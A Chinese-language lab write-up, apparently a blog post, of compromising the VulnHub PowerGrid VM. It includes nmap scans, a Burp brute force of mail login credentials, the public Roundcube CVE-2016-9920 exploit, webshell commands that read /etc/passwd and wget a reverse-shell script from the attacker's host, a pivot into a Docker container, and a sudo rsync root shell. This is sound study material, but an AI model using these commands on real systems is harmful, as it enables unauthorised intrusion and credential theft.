文章目录
靶机地址:https://download.vulnhub.com/powergrid/PowerGrid-1.0.1.ova
1. 主机发现
目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.232.0/24
锁定目标地址为161。
2. 端口枚举
通过下面的命令,枚举一下目标的端口。
$ sudo nmap -p 1-100 192.168.232.161
$ sudo nmap -p 101-1000 192.168.232.161
$ sudo nmap -p 1001-65535 192.168.232.161
开了三个端口。
3. 服务枚举
通过下面的命令,枚举一下端口上运行的服务。
$ sudo nmap -A -p80,143,993 -sV -sT 192.168.232.161
4. 服务探查
逐个服务探查一下看看吧。
4.1 探查80端口
直接通过浏览器先手工访问一下看看。
一幅图片,嵌入一个倒计时的时钟(后来发现这个是倒计时,3小时后靶机自动关机),其它也没看出啥,直接枚举一下目录。
$ dirsearch -u http://192.168.232.161/
还是发现了一些让人感兴趣的内容,再用gobuster枚举一下试试看。
$ gobuster dir -u http://192.168.232.161 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
多扫描出来一个zmail目录,但是是401。手工看一下扫出来的内容。
Login页面是一段话,跟首页的内容一致,其它没有特殊内容发现,用bing翻译了一下,还听好玩儿的,如下图。
通过前面刚学的403bypasser试试看/server-status目录。
$ python3 ../403bypasser/403bypasser.py -u http://192.168.232.161 -d /server-status
修改一下请求头试试看。
看来403bypasser工具不是很准确,不管怎么修改,仍然返回403,还是看一下zmail目录下面吧。
需要用户名密码,随便输入看一下。
用户名密码经过base64编码以后,临时先跳过,后面有需要的时候再回来爆破。
4.2 探查Dovecot imap服务
先搜索一下这个Dovecot imapd是个什么东西,这应该是一个名为Dovecot的安全imap服务,并且143端口和993端口是有些区别的,143是未加密端口,993是安全端口,如下图。
先获取一下banner信息试试看。
$ nc -nv 192.168.232.161 143
$ openssl s_client -connect 192.168.232.161:993 -quiet
从网上搜索了一下,用了各种可能的办法,都没进展,再回去从页面开始扒拉一遍,不行就放弃了。
真是不看不知道,发现前面漏掉了一个巨大的线索,deez1、p48、all2应该是三个成员,均来自于Cymru1 Hacking Team,如上图所示。再结合之前咱们发现的/zmail页面的登录窗口,极有可能就是这三个用户中的一个,分别爆破一下看看。这里用了之前我比较生疏的手法,所以描述的稍微细了一点,熟悉的掠过。
4.2.1 用户爆破
首先构造一个名为users.txt用户名文件,里面列出上述的三个用户名。
然后再intruder的payloads设置中,type选择Custom Iterator;在payload setting中的Position选择序号1,通过load按钮加载上面准备好的users.txt文件,如下图所示。
然后继续在上面的Payload settings界面,Position选择序号2,然后点击中间的clear按钮清除所有内容,然后在下面的Add按钮后面的编辑框中输入英文的冒号,点击Add提交。
继续在上述的界面中,Position选择序号3,然后clear一下,通过load加载rockyou.txt,如下图(我这里碰到了坑,加载rockyou一直失败,因此切成了两个文件,分别爆破)。
$ wc -l rockyou.txt
$ head -7172196 rockyou.txt > rockyou_01.txt
$ tail -7172196 rockyou.txt > rockyou_02.txt
$ wc -l rockyou_01.txt
$ wc -l rockyou_02.txt
然后在下面的Payload processing对话框中,点击add按钮,选在Encode,然后选择Base64-encode,点击OK按钮添加到Payload processing中,如下图。
然后在地下的Payload encoding中,取消勾选URL-encode的复选框,如下图。
然后就可以Start Attack了。
从burp的运行结果来看,有一个请求的返回码跟其它的不一样,不是401,而是301,解码一下base64的字符串看看是啥。
4.2.2 登录roundcube邮箱
看来p48用户可以登录,密码是electrico,手工登录一下试试看。
登录以后,出现了另一个登录界面,如上图,先用同样的账号密码登录试试看。
同样的用户名密码可以登录成功,还有一封邮件,打开看看。
邮件内容是一段话,加上一个当前用户的PGP密钥加密的内容,按照邮件内容来看,这个加密的内容是ssh到服务的密钥。所以,现在关键点变成了寻找当前用户的PGP密钥。经过在当前web邮箱中一番搜索,找到了web邮箱的版本信息,如下图。
4.2.3 roundcube 1.2.1远程代码执行漏洞利用
搜索了一下,据说这个版本有个远程代码执行漏洞,searchsploit可以搜到,如下图。
但是我在尝试发送邮件的时候一直没有成功,并且现在也不知道目标靶机站点的根目录。直接上网看看能不能找到现成的漏洞利用工具吧。结果在Git上找到了对应的EXP(https://github.com/t0kx/exploit-CVE-2016-9920
),直接脚本执行的方式,比之前通过burp方便多了,弄下来试试看。
$ git clone https://github.com/t0kx/exploit-CVE-2016-9920.git
$ cd exploit-CVE-2016-9920
$ ./exploit.py --host 192.168.232.162 --user p48 --pwd electrico --path roundcube --www_path "/var/www/html/roundcube"
尝试了各种目录,都是错误的,回过头来看看exp脚本,修改一下收件人和发件人的地址试试看,如下图。
还是报同样的错误,本次打靶以失败告终。参照了一下大神们的打靶过程(https://blog.csdn.net/qq_43884092/article/details/128975323
),还是我执行脚本的时候有问题(其实也不怪我,readme写的不太明确),改成如下的命令,执行成功,需要在主机地址前面添加上”username:passwd@”,在本例子中应该是“p48:electrico@”。
$ ./exploit.py --host p48:electrico@192.168.232.162 --user p48 --pwd electrico --path /zmail --www_path "/var/www/html/zmail/"
然后访问一下地址http://192.168.232.162/zmail/backdoor.php
看看,如下图。
修改命令为反弹shell,如下图。
修改一下远程文件的名称为backdoor001.php,试一下。
本地建立监听,然后访问一下backdoor001.php,试一下
没有建立反弹shell,不过偶然间发现了更加牛逼的内容。 第一次成功执行EXP之后,打开的/zmail/backdoor.php页面本身就是个webshell,想执行啥,直接在后面坠上命令即可。
http://192.168.232.162/zmail/backdoor.php?cmd=cat%20/etc/passwd
这就好办了,直接看看能不能wget本地带有反弹shell的php脚本。
http://192.168.232.162/zmail/backdoor.php?cmd=wget%20http://192.168.232.129:8000/revers.php
从执行结果来看,应该是下载了,还下载了很多次。
4.2.4 突破边界
直接建立监听,然后访问一下下载到根目录的反弹shell试试看。
反弹shell建立成功。
5. 提权
先优化一下shell。
$ /usr/bin/python3.7 -c "import pty;pty.spawn('/bin/bash')"
直接用linpeas.sh跑一下试试。
www-data@powergrid:/tmp$ chmod u+x linpeas.sh
www-data@powergrid:/tmp$ sh linpeas.sh
感觉除了上述CVE漏洞,其它没有找到太合适的。
5.1 CVE-2019-13272漏洞利用
看一下操作系统信息,然后尝试用这个漏洞提权。
64位的debian 10,内核版本位4.19.118,在debian 10环境下编译EXP。
$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
上传编译后的文件到目标靶机执行。
www-data@powergrid:/tmp$ chmod u+x ptrace_traceme_root
www-data@powergrid:/tmp$ ./ptrace_traceme_root
额,看来linpeas的highly probable也是不可信的啊,这条路行不通,继续找其它的。
在linpeas输出中还看到了p48用户,看看是否可以切换到这个用户。
5.2 登录p48用户
哈,成功进入p48用户,密码就是之前爆破出来的electrico。在当前用户下再执行一下linpeas脚本。
貌似再p48目录下有个gpg的密钥,这跟我们之前发现的邮件内容有点吻合,密文是用gpg的密钥加密的ssh密钥。在线解密一下(我用的这个网站:https://pgptool.org/
),如下图。
把解密后的内容拷贝出来,保存。不过现在还不知道这个openssh key怎么使用,总不可能是直接root用这个密钥登录,因为靶机没有开放22端口,还是再回头看一下邮件的内容。
原文邮件内容提到有一个备份服务器,但是需要扫描本地IP然后使用这个密钥登录。
5.3 内网扫描
先看一下靶机本地的IP地址看看,因为我么不需要nmap之类的进行局域网扫描,就这一个靶机。
貌似起了docker,还真是有个地址。把刚才的openssh密钥保存到p48用户的.ssh/id_rsa文件中,尝试用p48登录一下试试。
p48@powergrid:~/.ssh$ mv openssh_key.txt id_rsa
p48@powergrid:~/.ssh$ ssh p48@172.17.0.1 -i id_rsa
感觉还是在原来的机器上,不过这个输出对我们有些启发,p48@172.17.0.1,那是不是有可能存在172.17.0.2?想办法扫描一下这个网段看看。靶机上没有fping命令,那就只能用ping命令逐个试试了。
看来这里面涉及两个IP地址,172.17.0.1和172.17.0.2,其中第一个是当前进入的目标靶机。用p48用户和刚才的openssh key登录172.17.0.2试试看。
p48@powergrid:~/.ssh$ chmod 600 id_rsa
p48@powergrid:~/.ssh$ ssh p48@172.17.0.2 -i id_rsa
还真是能够登录到另一个地址里面。不过进入到这第二个机器,跟提权貌似关系不大啊,既然已经进来了,就在这个机器上运行一下linpeas看看。
p48@ef117d7a978f:~$ scp p48@172.17.0.1:/home/p48/linpeas.sh ./linpeas.sh
p48@ef117d7a978f:~$ chmod u+x linpeas.sh
p48@ef117d7a978f:~$ sh linpeas.sh
5.4 /usr/bin/rsync提权
有个/usr/bin/rsync可以直接不需要密码通过sudo执行,不过目前还不知道这个怎么用,看看GTFOBins网站(https://gtfobins.github.io/
)上有没有。
还真有(底下的),但是还是不太明白,127.0.0.1那还是172.0.0.2本地折腾啊,跟原来的那个172.17.0.0.1没关系啊。先不管了,试试看。
p48@ef117d7a978f:~$ sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
确实貌似变成root了,不过我坚信在172.17.0.2的机器上,试试看。
确实还在172.17.0.2的机器上面,既然进来了,看看这个机器上有没有其它可用的内容吧。
5.5 ssh到powergrid主机
发现/root/.ssh目录下有一对密钥,看样子基本是铁定的ssh用的密钥,但是不知道是哪个机器的,目前来看就俩机器,应该是172.17.0.1的,试试看吧。
试了两次,得到了结果,直接用root用户ssh到172.17.0.1上面,就获取了最高权限。这个机器太折腾了,是目前发现的最变态的靶机。